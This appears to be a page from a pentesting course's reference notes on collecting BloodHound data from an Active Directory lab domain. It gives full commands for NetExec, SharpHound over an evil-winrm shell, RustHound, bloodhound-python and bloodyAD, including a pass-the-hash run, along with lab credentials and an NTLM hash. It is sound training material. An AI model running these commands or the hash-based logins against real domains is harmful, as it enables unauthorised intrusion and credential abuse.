> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/bloodhound/collecting-the-loot.md).

# Collecting the Loot

To use BloodHound, you must first gather data from the target Active Directory environment. This data collection process is called "ingestion." There are several ways to collect this data depending on your starting position, operating system, and OPSEC (Operations Security) constraints.

We will look at five distinct methods to collect BloodHound data. It's important to know how to do this in more than one way... because I promise your "preferred method" will eventually fail and you will need to pivot :)

#### Credentials <a href="#user-content-credentials" id="user-content-credentials"></a>

We encourage you to try out these methods on the target machine. You can use the following credentials to authenticate. Although we will not show you how to install each individual tool, a quick glance at the tool's Github or some Googling should help you figure it out.

```
Username: pentest
Password: HackSmarter123!
```

First Check whether the credentials work or not.

```
nxc smb 10.1.135.69 -u 'pentest' -p 'HackSmarter123!' --shares
```

<figure><img src="/files/fA73bsIrVvzJooCtJLWl" alt=""><figcaption></figcaption></figure>

### Method #1: Netexec (`nxc`) <a href="#user-content-method-1-netexec-nxc" id="user-content-method-1-netexec-nxc"></a>

[NetExec](https://www.netexec.wiki/) is an excellent post-exploitation tool run from your Linux attacking machine. If you have valid domain credentials, you can use its built-in BloodHound module to collect data remotely over LDAP without needing to upload an executable to a Windows target.

```
nxc ldap [DC-IP] -u 'username' -p 'password' --bloodhound --collection All --dns-server [DC-IP]
```

<figure><img src="/files/6pd8c9sgsTRSM0EWsDCO" alt=""><figcaption></figcaption></figure>

### Method #2: SharpHound <a href="#user-content-method-2-sharphound" id="user-content-method-2-sharphound"></a>

[SharpHound](https://github.com/SpecterOps/SharpHound/releases) is the official C# data collector designed to run directly on a Windows target. It is incredibly thorough and can be run as a standalone executable (`SharpHound.exe`) or loaded into memory via PowerShell (`SharpHound.ps1`).

You can transfer the .exe to the target with evil-winrm. First get a shell on target.

```
evil-winrm -i dc01.hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!'
```

<figure><img src="/files/v9Pk7ngZU6vo8BUeFAmY" alt=""><figcaption></figcaption></figure>

Now, upload it

```
upload /home/kali/Desktop/SharpHound/SharpHound.exe
```

<figure><img src="/files/AOJUmNc2a1yNmajAt5Eb" alt=""><figcaption></figcaption></figure>

Now, collect the loot

```
.\SharpHound.exe -c All
```

![](https://images.coursestack.com/52dc0c39-4409-44ac-a4f6-dbdd70dfb7eb/f63ce720-273f-409b-914e-c7034515305a)

Now download the loot.

<figure><img src="/files/6CxxGI8SJzXXLjzC327D" alt=""><figcaption></figcaption></figure>

### Method #3: RustHound <a href="#user-content-method-3-rusthound" id="user-content-method-3-rusthound"></a>

[RustHound](https://github.com/g0h4n/RustHound-CE/releases) is a cross-platform BloodHound ingestor written entirely in Rust. It is highly optimized, fast, and generates compiled binaries for both Linux and Windows. It is excellent for scenarios where you want a lightweight binary that does not rely on the .NET framework.

{% embed url="<https://github.com/g0h4n/RustHound-CE>" %}

```
./rusthound-ce -d hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!' -n 10.1.135.69 -o ./rusthound_output
```

<figure><img src="/files/6JCxTTaMSt6L5n0gv0Lv" alt=""><figcaption></figcaption></figure>

### Method #4: bloodhound-python <a href="#user-content-method-4-bloodhound-python" id="user-content-method-4-bloodhound-python"></a>

If you are operating entirely from a Linux machine and want a pure Python approach without using NetExec, [bloodhound-python](https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce) is the go-to tool. It is a Python-based ingestor that queries the target Domain Controller via LDAP.

```
bloodhound-python -u 'username' -p 'password' -d [DOMAIN] -dc [DC-HOSTNAME] -c All -ns [DC-IP]
```

```
bloodhound-python -u 'pentest' -p 'HackSmarter123!' -d hacksmarter.hsm -dc dc01.hacksmarter.hsm -c All -ns 10.1.135.69
```

<figure><img src="/files/Kuu9DSaS9OefeBCww7pv" alt=""><figcaption></figcaption></figure>

![](https://images.coursestack.com/52dc0c39-4409-44ac-a4f6-dbdd70dfb7eb/1a491eaa-4b92-4245-a894-9aa18f2d42dd)

### Method #5: bloodyad <a href="#user-content-method-5-bloodyad" id="user-content-method-5-bloodyad"></a>

The syntax for [bloodyad](https://github.com/CravateRouge/bloodyAD) is needlessly confusing (in my opinion), but it has some unique strengths the other remote tools do not have. Specifically, bloodyad is able to successfully collect loot from Windows Server 2025 whereas nxc and bloodhound-python both struggle.

```
bloodyad -H [DC-HOSTNAME] -d [DOMAIN] -u 'username' -p 'password' get bloodhound 
```

```
bloodyad -H dc01.hacksmarter.hsm -d hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!' get bloodhound 
```

<figure><img src="/files/NkxudKTeHqkJXAflpA2s" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/CravateRouge/bloodyAD>" %}

`BloodyAD` successfully interfaces with the **degraded LDAP** service to collect complete BloodHound data using Pass-the-Hash.

**Command Syntax for dumping with hashes**

```bash
# Collect BloodHound JSON data using BloodyAD with Pass-the-Hash
bloodyAD -H <DC_IP> -d hsm.local -u bbarkinson -p :<NTLM_HASH> get bloodhound
```

> **Note on Syntax:** BloodyAD requires specifying the target DC via `-h <DC_IP>` and passing the NTLM hash into the `-p` flag formatted with a leading colon (`:<NTLM_HASH>`).

```
bloodyAD -H 10.1.205.161 -d hsm.local -u bbarkinson -p :53c3709ae3d9f4428a230db81361ffbc get bloodhound
```
